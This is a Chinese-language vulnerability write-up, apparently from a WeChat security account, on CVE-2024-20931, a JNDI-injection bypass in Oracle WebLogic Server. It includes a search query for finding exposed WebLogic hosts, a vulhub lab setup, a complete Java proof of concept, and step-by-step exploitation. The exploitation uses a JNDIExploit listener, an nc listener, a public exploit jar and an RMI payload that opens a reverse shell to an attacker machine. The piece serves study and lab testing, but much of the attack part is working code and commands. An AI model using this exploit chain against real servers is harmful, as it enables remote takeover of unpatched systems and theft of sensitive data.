免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!
01漏洞名称
02漏洞影响
Oracle Fusion Middleware 12.2.1.4.0
Oracle Fusion Middleware 14.1.1.0.0
03漏洞描述
Oracle WebLogic Server是一个用于构建、部署和管理企业级Java应用程序。AQjmsInitialContextFactory 是一个允许应用程序使用JNDI查找方式访问Oracle AQ提供消息服务的工厂类。ForeignOpaqueReference是一个对象,lookup时会调用getReferent函数,进行远程对象查询。
该漏洞是 CVE-2023-21839 漏洞绕过,在AQjmsInitialContextFactory初始化时会通过 JNDI获取远程的 DataSource,当通过反射修改 ForeignOpaqueReference 的 jndiEnvironment 和 remoteJNDIName 属性后,再次远程查询ForeignOpaqueReference对象会导致 JNDI 注入,从而直接接管 Oracle WebLogic Server 来执行未经授权的操作或访问系统敏感信息。
04
—
(body=
"Welcome to WebLogic Server"
)
||
(title==
"Error 404--Not Found"
)
||
(((body=
"<h1>BEA WebLogic Server"
||
server=
"Weblogic"
||
body=
"content="WebLogic Server"
||
body=
"<h1>Welcome to Weblogic Application"
||
body=
"<h1>BEA WebLogic Server"
) && header!=
"couchdb"
&& header!=
"boa"
&& header!=
"RouterOS"
&& header!=
"X-Generator: Drupal"
)
||
(banner=
"Weblogic"
&& banner!=
"couchdb"
&& banner!=
"drupal"
&& banner!=
" Apache,Tomcat,Jboss"
&& banner!=
"ReeCam IP Camera"
&& banner!=
"<h2>Blog Comments</h2>"
))
||
(port=
"7001"
&& protocol==
"weblogic"
)
05漏洞分析
CVE-2024-20931漏洞原理上属于CVE-2023-21839补丁的绕过。
CVE-2023-21839概述
-
建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。 -
通过T3IIOP协议在WLS上绑定该恶意对象。 -
通过lookup查询该恶意对象,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。
CVE-2023-21839补丁分析
06靶场搭建
因为该漏洞本身属于CVE-2023-21839补丁的绕过,所以可以直接使用CVE-2023-21839靶场来验证POC和EXP。可以直接使用vulhub来搭建。
https:
//github.com/vulhub/vulhub
下载vulhub原本,上传到靶场虚拟机并解压。
cd
vulhub/weblogic/CVE-2023-21839
docker compose up -d
http://your-ip:7001/console
可以看到管理界面。07poc
该poc是个java程序,内容如下:
package com.supeream;
import
weblogic.deployment.jms.ForeignOpaqueReference;
import
javax.naming.Context;
import
javax.naming.InitialContext;
import
java.lang.reflect.Field;
import
java.util.Hashtable;
public
class
CVE_2024_209321
{
public
static
void main(
String
[] args)
throws
Exception
{
String
JNDI_FACTORY
=
"weblogic.jndi.WLInitialContextFactory"
;
// 创建用来远程绑定对象的InitialContext
String
url =
"t3://127.0.0.1:7001"
;
// 目标机器
Hashtable
env1 = new
Hashtable
();
env1.put(
Context
.
INITIAL_CONTEXT_FACTORY
,
JNDI_FACTORY
);
env1.put(
Context
.
PROVIDER_URL
, url);
// 目标
InitialContext
c
= new
InitialContext
(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable
env2 = new
Hashtable
();
env2.put(
"java.naming.factory.initial"
,
"oracle.jms.AQjmsInitialContextFactory"
);
env2.put(
"datasource"
,
"rmi://127.0.0.1:1099/ygevmj"
);
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference
f = new
ForeignOpaqueReference
();
Field
jndiEnvironment =
ForeignOpaqueReference
.
class
.getDeclaredField(
"jndiEnvironment"
);
jndiEnvironment.setAccessible(
true
);
jndiEnvironment.
set
(f, env2);
Field
remoteJNDIName =
ForeignOpaqueReference
.
class
.getDeclaredField(
"remoteJNDIName"
);
remoteJNDIName.setAccessible(
true
);
String
ldap =
"rmi://127.0.0.1:1099/ygevmj"
;
remoteJNDIName.
set
(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c
.rebind(
"glassy"
, f);
// lookup查询ForeignOpaqueReference对象
try
{
c
.lookup(
"glassy"
);
}
catch
(
Exception
e) {
}
}
}
08
—
漏洞利用
因为我的kali虚拟机没有java8,所以本次实验涉及到3台机器,一台windows10 运行两个java包,一台centos7虚拟机靶机(192.168.40.130),一台kali虚拟机(192.168.40.128)接收反弹的shell
先下载JNDI工具
https:
//github.com/WhiteHSBG/JNDIExploit/
在windows10上运行jar包,启动监听,其中192.168.40.1为windows10的IP
java
-jar JNDIExploit-
1
.
4
-SNAPSHOT.jar -i
192.168.40.1
然后在kali上启动一个监听
nc
-lvvp
666
github上有个公开的exp,下载并解压
https:
//github.com/dinosn/CVE-2024-20931
在windows10上运行EXP反弹shell,(根据提示手动输入靶场的IP和端口)
java
-jar CVE-2024-20931.jar
Please
input target IP:192.168.40.130
Please
input target port:7001
Please
input RMI Address(ip:port/exp):192.168.40.1:1389/Basic/ReverseShell/192.168.40.128/666
shell反弹成功
09
—
修复建议
安装官方补丁。
原文始发于微信公众号(AI与网安):CVE-2024-20931
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论